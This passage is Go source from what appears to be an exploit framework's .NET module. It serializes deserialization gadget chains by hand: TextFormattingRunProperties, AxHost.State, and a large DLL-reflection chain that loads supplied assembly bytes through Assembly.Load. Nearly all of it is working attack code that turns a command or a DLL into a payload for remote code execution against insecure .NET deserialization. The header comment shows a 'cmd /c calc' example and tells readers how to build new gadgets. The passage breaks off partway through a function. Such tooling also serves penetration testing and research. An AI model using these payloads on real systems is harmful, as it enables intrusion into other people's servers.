/*
This file contains all of the gadget creation functions for use in exploits. Calling one should be as simple as:
payload, ok := CreateWindowsIdentity("cmd", "/c calc", dotnet.BinaryFormatter)
if !ok{ return "", false }

The exceptions are the CreateObjectRef and CreateVeeamCryptoKeyInfo as those take (url string, formatter string) instead.

Any of the Create gadget funcs can be called with "" as their formatter which will return just the binary stream of the object, which is the same as binaryformatter.

Information for new gadget development:

These objects are basically just a series of 'records' that ultimately define a class and it's members.

The general format is something like

	serializationHeaderRecord
	+ binLibString
	CLASSWITHMEMBERSANDTYPES(ClassObjectID INT32 (usually incremented from 1) + ClassName + MemberCount, MemberNames + AdditionalInfo + []byte{member0Type, member1Type, memberNType, ...} + Library ID INT32 + Array of Membervalues) +
	string(byte(RecordTypeEnumMap["MessageEnd"])) (just a 0xb)

Sometimes this format gets a bit more complicated because the member values array will contain CLASSWITHMEMBERSANDTYPES records as array items so it's a nested class.
Also where ArraySingleStringRecord and ArraySinglePrimitiveRecord are concerned, these get referenced in member values and then are appended after the class record like so:

	payload := serializationHeaderRecordString +
		binaryLibraryRecordString +
		classWithMembersAndTypesString +
		arraySingleStringRecordString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

There should be enough information in the existing gadgets to infer from in order to make new gadgets.
*/
package dotnet

import (
	"bytes"
	"embed"
	"encoding/base64"
	"encoding/json"
	"encoding/xml"
	"fmt"
	"path/filepath"

	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/random"
	"github.com/vulncheck-oss/go-exploit/transform"
)

//go:embed data
var data embed.FS

// ReadGadget reads a gadget chain file by gadget name and formatter.
func ReadGadget(gadgetName, formatter string) ([]byte, error) {
	gadget, err := data.ReadFile(filepath.Join("data", formatter, gadgetName+".bin"))
	if err != nil {
		return nil, fmt.Errorf("dotnet.ReadGadget: %w", err)
	}

	return gadget, nil
}

func lengthPrefixedString(input string) string {
	prefix := string(Write7BitEncodedInt(len(input)))

	return prefix + input
}

// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/10b218f5-9b2b-4947-b4b7-07725a2c8127
// https://referencesource.microsoft.com/#mscorlib/system/io/binarywriter.cs,2daa1d14ff1877bd
func Write7BitEncodedInt(value int) []byte {
	var (
		bs []byte
		v  = uint(value)
	)

	for v >= 0x80 {
		bs = append(bs, byte(v|0x80))
		v >>= 7
	}

	bs = append(bs, byte(v))

	return bs
}

// TextFormattingRunPropertiesBinaryFormatter serializes a TextFormattingRunProperties gadget chain using the BinaryFormatter formatter.
func TextFormattingRunPropertiesBinaryFormatter(cmd string) string {
	// ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c mspaint.exe
	gadget, err := ReadGadget("TextFormattingRunProperties", BinaryFormatter)
	if err != nil {
		output.PrintFrameworkError(err.Error())

		return ""
	}

	const (
		xmlLen7Bit = "\xba\x05"
		xmlLenBase = 687
	)

	// Replace length-prefixed placeholder command with supplied command
	escapedCmd := transform.EscapeXML(cmd)
	gadget = bytes.Replace(gadget, []byte("mspaint.exe"), []byte(escapedCmd), 1)
	gadget = bytes.Replace(gadget, []byte(xmlLen7Bit), Write7BitEncodedInt(xmlLenBase+len(escapedCmd)), 1)

	return string(gadget)
}

func IsValidXML(data []byte) bool {
	return xml.Unmarshal(data, new(any)) == nil
}

func CreateAxHostStateDLL(dllBytes []byte, formatter string) (string, bool) {
	binaryLibrary := BinaryLibraryRecord{ID: 2, Library: "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
	className := "System.Windows.Forms.AxHost+State"
	memberNames := []string{"PropertyBagBinary"}
	additionalInfo := []any{PrimitiveTypeEnum["Byte"]}
	memberValues := []any{MemberReferenceRecord{IDRef: 3}}
	memberTypes := []string{
		"PrimitiveArray",
	}

	innerNewGadget, ok := CreateDLLReflection(dllBytes, BinaryFormatter)
	if !ok {
		return "", false
	}

	//  the member here is going to be yet another gadget, should be around 0xc7 37 00 00
	arraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{
		PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"],
		ArrayInfo:         ArrayInfo{ObjectID: 3, MemberCount: len(innerNewGadget)},
		Members:           string([]byte(innerNewGadget)),
	}

	classInfo := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(memberNames), MemberNames: memberNames}
	memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)
	if !ok {
		return "", false
	}

	classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ClassInfo: classInfo, LibraryID: 2, MemberTypeInfo: memberTypeInfo, MemberValues: memberValues, BinaryLibrary: binaryLibrary}

	// FINALIZE
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binLibString, _ := binaryLibrary.ToRecordBin()
	classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()
	if !ok {
		return "", false
	}
	arraySinglePrimitiveRecordString, ok := arraySinglePrimitiveRecord.ToRecordBin()
	if !ok {
		return "", false
	}

	payload := serializationHeaderRecordString + binLibString + classWithMembersAndTypesString + arraySinglePrimitiveRecordString + string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	default:
		output.PrintFrameworkError("Invalid formatter chosen, this formatter supports: 'LOSFormatter', and 'BinaryFormatter'")

		return "", false
	}
}

// Serves a DLL in memory, used by CreateAxHostStateDLL.
func CreateDLLReflection(dllBytes []byte, formatter string) (string, bool) {
	// This one is so large that it makes more sense to just build the "final" gadget as we go, so that's what is going to happen with this one.
	var finalGadget string
	var records []Record

	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	records = append(records, serializationHeaderRecord)

	// SCWMT OBJECTID 1
	binaryLibrary := BinaryLibraryRecord{ID: 2, Library: "System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}
	memberNames := []string{"_items", "_size", "_version"}
	memberTypeInfo, ok := getMemberTypeInfo([]string{"ObjectArray", "Primitive", "Primitive"}, memberNames, []any{PrimitiveTypeEnum["Int32"], PrimitiveTypeEnum["Int32"]})
	if !ok {
		return "", false
	}
	systemClassWithMembersAndTypesID1 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    1,
			Name:        "System.Collections.Generic.List`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
			MemberCount: len(memberNames),
			MemberNames: memberNames,
		},
		MemberTypeInfo: memberTypeInfo,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 2},
			PrimitiveInt32(0x0a),
			PrimitiveInt32(0x0a),
		},
	}
	records = append(records, systemClassWithMembersAndTypesID1)

	// ASO OBJ 2
	var arraySingleObjectMemberValues []any

	/// Building inner types for the array
	binaryArrayRecord := BinaryArrayRecord{
		ObjectID:            3,
		BinaryArrayTypeEnum: 1, // 1byte
		Rank:                1, // >=0
		Lengths:             []int{1},
		TypeEnum:            BinaryTypeEnumerationMap["PrimitiveArray"], // 1byte
		AdditionalTypeInfo:  []any{PrimitiveTypeEnum["Byte"]},
	}

	// binlib
	binaryLibrary1 := BinaryLibraryRecord{ID: 14, Library: "System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"}

	// InnerClassValue
	memberTypeInfoID4, ok := getMemberTypeInfo([]string{"SystemClass", "ObjectArray"}, []string{"type", "memberDatas"}, []any{"System.UnitySerializationHolder"})
	if !ok {
		return "", false
	}

	classWithMembersAndTypesID4 := ClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    4,
			Name:        "System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef",
			MemberNames: []string{"type", "memberDatas"},
		},
		MemberTypeInfo: memberTypeInfoID4,
		LibraryID:      14,
		MemberValues:   []any{MemberReferenceRecord{IDRef: 0x0f}, MemberReferenceRecord{IDRef: 0x10}},
		BinaryLibrary:  binaryLibrary,
	}

	// ClassWithIDRecord O5
	classWithIDRecordID5 := ClassWithIDRecord{
		ObjectID:     5,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 17}, MemberReferenceRecord{IDRef: 18}},
	}

	// Add value types to create/finish this ASO record
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x3})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x4})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x5})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x6})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x7})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x8})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x9})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0a})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0b})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0c})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, ObjectNullMultiple256Record{NullCount: 6})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, binaryArrayRecord)
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, MemberReferenceRecord{IDRef: 0x0d})
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, binaryLibrary1)
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, classWithMembersAndTypesID4)
	arraySingleObjectMemberValues = append(arraySingleObjectMemberValues, classWithIDRecordID5)

	// Create the ASO and add to records
	arraySingleObjectRecordID2 := ArraySingleObjectRecord{ArrayInfo: ArrayInfo{ObjectID: 2, MemberCount: 0x10}, Members: arraySingleObjectMemberValues}
	records = append(records, arraySingleObjectRecordID2)

	// ClassWithIDRecord O6
	classWithIDRecordID6 := ClassWithIDRecord{
		ObjectID:     6,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 19}, MemberReferenceRecord{IDRef: 20}},
	}
	records = append(records, classWithIDRecordID6)

	// ClassWithIDRecord O7
	classWithIDRecordID7 := ClassWithIDRecord{
		ObjectID:     7,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 21}, MemberReferenceRecord{IDRef: 22}},
	}
	records = append(records, classWithIDRecordID7)

	// ClassWithIDRecord O8
	classWithIDRecordID8 := ClassWithIDRecord{
		ObjectID:     8,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 23}, MemberReferenceRecord{IDRef: 24}},
	}
	records = append(records, classWithIDRecordID8)

	// ClassWithIDRecord O9
	classWithIDRecordID9 := ClassWithIDRecord{
		ObjectID:     9,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 25}, MemberReferenceRecord{IDRef: 26}},
	}
	records = append(records, classWithIDRecordID9)

	// ClassWithIDRecord O10
	classWithIDRecordID10 := ClassWithIDRecord{
		ObjectID:     10,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 27}, MemberReferenceRecord{IDRef: 28}},
	}
	records = append(records, classWithIDRecordID10)

	// ClassWithIDRecord O11
	classWithIDRecordID11 := ClassWithIDRecord{
		ObjectID:     11,
		MetadataID:   4,
		MemberValues: []any{MemberReferenceRecord{IDRef: 29}, MemberReferenceRecord{IDRef: 30}},
	}
	records = append(records, classWithIDRecordID11)

	// SystemClassWithMembersAndTypesID12
	ID12MemberNames := []string{"LoadFactor", "Version", "Comparer", "HashCodeProvider", "HashSize", "Keys", "Values"}
	ID12MemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive", "Primitive", "SystemClass", "SystemClass", "Primitive", "ObjectArray", "ObjectArray"}, ID12MemberNames, []any{
		PrimitiveTypeEnum["Single"],
		PrimitiveTypeEnum["Int32"],
		"System.Collections.IComparer",
		"System.Collections.IHashCodeProvider",
		PrimitiveTypeEnum["Int32"],
	})
	if !ok {
		return "", false
	}
	systemClassWithMembersAndTypesID12 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    12,
			Name:        "System.Collections.Hashtable",
			MemberCount: len(ID12MemberNames),
			MemberNames: ID12MemberNames,
		},
		MemberTypeInfo: ID12MemberTypeInfo,
		MemberValues: []any{
			PrimitiveByteString("\xec\x51\x38\x3f"), // This is the 'Single' type
			PrimitiveInt32(2),
			ObjectNullRecord{},
			ObjectNullRecord{},
			PrimitiveInt32(3),
			MemberReferenceRecord{IDRef: 0x1f},
			MemberReferenceRecord{IDRef: 0x20},
		},
	}
	records = append(records, systemClassWithMembersAndTypesID12)

	// ASP ID 13
	arraySinglePrimitiveID13 := ArraySinglePrimitiveRecord{
		ArrayInfo:         ArrayInfo{ObjectID: 13, MemberCount: len(dllBytes)},
		PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"],
		Members:           string(dllBytes),
	}
	records = append(records, arraySinglePrimitiveID13)

	// SystemClassWithMembersAndTypesID15
	ID15MemberNames := []string{"Data", "UnityType", "AssemblyName"}
	ID15MemberTypeInfo, ok := getMemberTypeInfo([]string{"String", "Primitive", "String"}, ID15MemberNames, []any{
		PrimitiveTypeEnum["Int32"],
	})

	if !ok {
		return "", false
	}
	systemClassWithMembersAndTypesID15 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    15,
			Name:        "System.UnitySerializationHolder",
			MemberCount: len(ID15MemberNames),
			MemberNames: ID15MemberNames,
		},
		MemberTypeInfo: ID15MemberTypeInfo,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 33, Value: "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			PrimitiveInt32(4),
			BinaryObjectString{ObjectID: 34, Value: "System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"},
		},
	}
	records = append(records, systemClassWithMembersAndTypesID15)

	// ASO O16
	arraySingleObjectID16 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    16,
			MemberCount: 7,
		},
		Members: []any{
			MemberReferenceRecord{IDRef: 3},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 36},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)},
		},
	}
	records = append(records, arraySingleObjectID16)

	// ClassWithIDRecord O17
	classWithIDRecordID17 := ClassWithIDRecord{
		ObjectID:   17,
		MetadataID: 15,
		MemberValues: []any{
			BinaryObjectString{
				ObjectID: 37,
				Value:    "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
			},
			4,
			MemberReferenceRecord{IDRef: 34},
		},
	}
	records = append(records, classWithIDRecordID17)

	// ASO O18
	arraySingleObjectID18 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    18,
			MemberCount: 7,
		},
		Members: []any{ // any can be replaced by any
			MemberReferenceRecord{IDRef: 4},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 40},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)},
		},
	}
	records = append(records, arraySingleObjectID18)

	// ClassWithIDRecord O19
	classWithIDRecordID19 := ClassWithIDRecord{
		ObjectID:   19,
		MetadataID: 15,
		MemberValues: []any{
			BinaryObjectString{
				ObjectID: 41,
				Value:    "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Collections.Generic.IEnumerable`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
			},
			4,
			MemberReferenceRecord{IDRef: 34},
		},
	}
	records = append(records, classWithIDRecordID19)

	// ASO O20
	arraySingleObjectID20 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    20,
			MemberCount: 7,
		},
		Members: []any{ // any can be replaced by any
			MemberReferenceRecord{IDRef: 5},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 44},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)},
		},
	}
	records = append(records, arraySingleObjectID20)

	// ClassWithIDRecord O21
	classWithIDRecordID21 := ClassWithIDRecord{
		ObjectID:   21,
		MetadataID: 15,
		MemberValues: []any{
			BinaryObjectString{
				ObjectID: 45,
				Value:    "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Collections.Generic.IEnumerator`1[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
			},
			4,
			MemberReferenceRecord{IDRef: 34},
		},
	}
	records = append(records, classWithIDRecordID21)

	// ASO O22
	arraySingleObjectID22 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    22,
			MemberCount: 7,
		},
		Members: []any{ // any can be replaced by any
			MemberReferenceRecord{IDRef: 6},
			MemberReferenceRecord{IDRef: 48},
			MemberReferenceRecord{IDRef: 49},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)},
		},
	}
	records = append(records, arraySingleObjectID22)

	// ClassWithIDRecord O23
	classWithIDRecordID23 := ClassWithIDRecord{
		ObjectID:   23,
		MetadataID: 15,
		MemberValues: []any{
			BinaryObjectString{
				ObjectID: 0x32,
				Value:    "System.Linq.Enumerable+WhereSelectEnumerableIterator`2[[System.Type, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]",
			},
			4,
			MemberReferenceRecord{IDRef: 34},
		},
	}
	records = append(records, classWithIDRecordID23)

	// ASO O24
	arraySingleObjectID24 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    24,
			MemberCount: 7,
		},
		Members: []any{ // any can be replaced by any
			MemberReferenceRecord{IDRef: 7},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 53},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
			ObjectNullRecord{},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(1)},
		},
	}
	records = append(records, arraySingleObjectID24)

	// ClassWithIDRecord O25
	classWithIDRecordID25 := ClassWithIDRecord{
		ObjectID:   25,
		MetadataID: 15,
		MemberValues: []any{
			BinaryObjectString{
				ObjectID: 54,
				Value:    "System.Web.UI.WebControls.PagedDataSource",
			},
			4,
			BinaryObjectString{
				ObjectID: 55,
				Value:    "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",
			},
		},
	}
	records = append(records, classWithIDRecordID25)

	// ASO O26
	arraySingleObjectID26 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    26,
			MemberCount: 7,
		},
		Members: []any{ // any can be replaced by any
			MemberReferenceRecord{IDRef: 8},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(10)},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)}, // PrimitiveByte "renders" the same. This should get cleaned up later
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Boolean"], Value: PrimitiveByte(0)},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(0)},
		},
	}
	records = append(records, arraySingleObjectID26)

	// ClassWithIDRecord O27
	classWithIDRecordID27 := ClassWithIDRecord{
		ObjectID:   27,
		MetadataID: 15,
		MemberValues: []any{
			BinaryObjectString{
				ObjectID: 57,
				Value:    "System.ComponentModel.Design.DesignerVerb",
			},
			4,
			BinaryObjectString{
				ObjectID: 58,
				Value:    "System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
			},
		},
	}
	records = append(records, classWithIDRecordID27)

	// ASO O28
	arraySingleObjectID28 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    28,
			MemberCount: 5,
		},
		Members: []any{ // any can be replaced by any
			ObjectNullMultiple256Record{NullCount: 2},
			MemberReferenceRecord{IDRef: 59},
			MemberPrimitiveTypedRecord{PrimitiveTypeEnum: PrimitiveTypeEnum["Int32"], Value: PrimitiveInt32(3)},
			MemberReferenceRecord{IDRef: 11},
			ClassWithIDRecord{
				ObjectID:   29,
				MetadataID: 15,
				MemberValues: []any{
					BinaryObjectString{
						ObjectID: 61,
						Value:    "System.Runtime.Remoting.Channels.AggregateDictionary",
					},
					4,
					BinaryObjectString{
						ObjectID: 62,
						Value:    "mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
					},
				},
			},
		},
	}
	records = append(records, arraySingleObjectID28)

	// ASO O30
	arraySingleObjectID30 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    30,
			MemberCount: 1,
		},
		Members: []any{
			MemberReferenceRecord{IDRef: 9},
		},
	}
	records = append(records, arraySingleObjectID30)

	// ASO O31
	arraySingleObjectID31 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    31,
			MemberCount: 2,
		},
		Members: []any{
			MemberReferenceRecord{IDRef: 10},
			MemberReferenceRecord{IDRef: 10},
		},
	}
	records = append(records, arraySingleObjectID31)

	// ASO O32
	arraySingleObjectID32 := ArraySingleObjectRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    32,
			MemberCount: 2,
		},
		Members: []any{
			BinaryObjectString{ObjectID: 65, Value: ""},
			MemberReferenceRecord{IDRef: 65},
		},
	}
	records = append(records, arraySingleObjectID32)

	// SCWMT O36
	ID36MemberNames := []string{"Delegate", "method0"}
	ID36MemberTypeInfo, ok := getMemberTypeInfo([]string{"SystemClass", "SystemClass"}, ID36MemberNames, []any{
		"System.DelegateSerializationHolder+DelegateEntry",
		"System.Reflection.MemberInfoSerializationHolder",
	})

	if !ok {
		return "", false
	}
	systemClassWithMembersAndTypesID36 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    36,
			Name:        "System.DelegateSerializationHolder",
			MemberCount: len(ID36MemberNames),
			MemberNames: ID36MemberNames,
		},
		MemberTypeInfo: ID36MemberTypeInfo,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 66},
			MemberReferenceRecord{IDRef: 67},
		},
	}
	records = append(records, systemClassWithMembersAndTypesID36)

	// CW O40
	classWithIDRecordID40 := ClassWithIDRecord{
		ObjectID:   40,
		MetadataID: 36,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 68},
			MemberReferenceRecord{IDRef: 69},
		},
	}
	records = append(records, classWithIDRecordID40)

	// CW O44
	classWithIDRecordID44 := ClassWithIDRecord{
		ObjectID:   44,
		MetadataID: 36,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 70},
			MemberReferenceRecord{IDRef: 71},
		},
	}
	records = append(records, classWithIDRecordID44)

	// CW O48
	classWithIDRecordID48 := ClassWithIDRecord{
		ObjectID:   48,
		MetadataID: 36,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 72},
			MemberReferenceRecord{IDRef: 73},
		},
	}
	records = append(records, classWithIDRecordID48)

	// CW O49
	classWithIDRecordID49 := ClassWithIDRecord{
		ObjectID:   49,
		MetadataID: 36,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 74},
			MemberReferenceRecord{IDRef: 75},
		},
	}
	records = append(records, classWithIDRecordID49)

	// CW O53
	classWithIDRecordID53 := ClassWithIDRecord{
		ObjectID:   53,
		MetadataID: 36,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 76},
			MemberReferenceRecord{IDRef: 77},
		},
	}
	records = append(records, classWithIDRecordID53)

	// CW O59
	classWithIDRecordID59 := ClassWithIDRecord{
		ObjectID:   59,
		MetadataID: 4,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 78},
			MemberReferenceRecord{IDRef: 79},
		},
	}
	records = append(records, classWithIDRecordID59)

	// SCWMT O66
	ID66MemberNames := []string{"type", "assembly", "target", "targetTypeAssembly", "targetTypeName", "methodName", "delegateEntry"}
	ID66MemberTypeInfo, ok := getMemberTypeInfo([]string{"String", "String", "Object", "String", "String", "String", "SystemClass"}, ID66MemberNames, []any{
		"System.DelegateSerializationHolder+DelegateEntry",
	})

	if !ok {
		return "", false
	}
	systemClassWithMembersAndTypesID66 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    66,
			Name:        "System.DelegateSerializationHolder+DelegateEntry",
			MemberCount: len(ID66MemberNames),
			MemberNames: ID66MemberNames,
		},
		MemberTypeInfo: ID66MemberTypeInfo,
		MemberValues: []any{
			BinaryObjectString{ObjectID: 80, Value: "System.Func`2[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Reflection.Assembly, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"},
			MemberReferenceRecord{IDRef: 62},
			ObjectNullRecord{},
			MemberReferenceRecord{IDRef: 62},
			BinaryObjectString{ObjectID: 82, Value: "System.Reflection.Assembly"},
			BinaryObjectString{ObjectID: 83, Value: "Load"},
			ObjectNullRecord{},
		},
	}
	records = append(records, systemClassWithMembersAndTypesID66)

	// SCWMT O67
	ID67MemberNames := []string{"Name", "AssemblyName", "ClassName", "Signature", "Signature2", "MemberType", "GenericArguments"}
	ID67MemberTypeInfo, ok := getMemberTypeInfo([]string{"String", "String", "String", "String", "String", "Primitive", "SystemClass"}, ID67MemberNames, []any{
		PrimitiveTypeEnum["Int32"],
		"System.Type[]",
	})

	if !ok {
		return "", false
	}

	systemClassWithMembersAndTypesID67 := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    67,
			Name:        "System.Reflection.MemberInfoSerializationHolder",
			MemberCount: len(ID67MemberNames),
			MemberNames: ID67MemberNames,
		},
		MemberTypeInfo: ID67MemberTypeInfo,
		MemberValues: []any{
			MemberReferenceRecord{IDRef: 83},
			MemberReferenceRecord{IDRef: 62},
			MemberReferenceRecord{IDRef: 82},
			BinaryObjectString{ObjectID: 86, Value: "System.Reflection.Assembly Load(Byte[])"},
			BinaryObjectString{ObjectID: 87, Value: "System.Reflection.Assembly Load(System.Byte[])"},
			8,
			ObjectNullRecord{},
		},
	}
	records = append(records, systemClassWithMembersAndTypesID67)

	// CW O68
	classWithIDRecordID68 := ClassWithIDRecord{
		ObjectID:   68,
		MetadataID: 66,
		MemberValues: []any{
